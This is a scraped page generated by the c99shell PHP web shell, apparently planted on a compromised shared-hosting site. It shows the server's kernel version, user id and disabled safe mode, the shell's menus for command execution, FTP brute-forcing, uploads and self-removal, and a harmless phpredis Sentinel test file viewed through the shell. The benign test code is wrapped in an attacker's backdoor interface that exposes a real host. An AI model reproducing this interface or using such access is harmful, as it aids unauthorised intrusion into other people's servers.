smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/opt/alt/tests/alt-php80-pecl-redis_5.3.7-5.el8/tests/   drwxr-xr-x
Free 39.15 GB of 48.91 GB (80.03%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     RedisSentinelTest.php (2.58 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php defined('PHPREDIS_TESTRUN') or die("Use TestRedis.php to run tests!\n");

require_once(
dirname($_SERVER['PHP_SELF'])."/TestSuite.php");

class 
Redis_Sentinel_Test extends TestSuite
{
    const 
NAME 'mymaster';

    
/**
     * @var RedisSentinel
     */
    
public $sentinel;

    
/**
     * Common fields
     */
    
protected $fields = [
        
'name',
        
'ip',
        
'port',
        
'runid',
        
'flags',
        
'link-pending-commands',
        
'link-refcount',
        
'last-ping-sent',
        
'last-ok-ping-reply',
        
'last-ping-reply',
        
'down-after-milliseconds',
    ];

    protected function 
newInstance()
    {
        return new 
RedisSentinel($this->getHost());
    }

    public function 
setUp()
    {
        
$this->sentinel $this->newInstance();
    }

    public function 
testCkquorum()
    {
        
$this->assertTrue(is_bool($this->sentinel->ckquorum(self::NAME)));
    }

    public function 
testFailover()
    {
        
$this->assertFalse($this->sentinel->failover(self::NAME));
    }

    public function 
testFlushconfig()
    {
        
$this->assertTrue($this->sentinel->flushconfig());
    }

    public function 
testGetMasterAddrByName()
    {
        
$result $this->sentinel->getMasterAddrByName(self::NAME);
        
$this->assertTrue(is_array($result));
        
$this->assertEquals(2count($result));
    }

    protected function 
checkFields(array $fields)
    {
        foreach (
$this->fields as $k) {
            
$this->assertTrue(array_key_exists($k$fields));
        }
    }

    public function 
testMaster()
    {
        
$result $this->sentinel->master(self::NAME);
        
$this->assertTrue(is_array($result));
        
$this->checkFields($result);
    }

    public function 
testMasters()
    {
        
$result $this->sentinel->masters();
        
$this->assertTrue(is_array($result));
        foreach (
$result as $master) {
            
$this->checkFields($master);
        }
    }

    public function 
testPing()
    {
        
$this->assertTrue($this->sentinel->ping());
    }

    public function 
testReset()
    {
        
$this->assertFalse($this->sentinel->reset('*'));
    }

    public function 
testSentinels()
    {
        
$result $this->sentinel->sentinels(self::NAME);
        
$this->assertTrue(is_array($result));
        foreach (
$result as $sentinel) {
            
$this->checkFields($sentinel);
        }
    }

    public function 
testSlaves()
    {
        
$result $this->sentinel->slaves(self::NAME);
        
$this->assertTrue(is_array($result));
        foreach (
$result as $slave) {
            
$this->checkFields($slave);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.004 ]--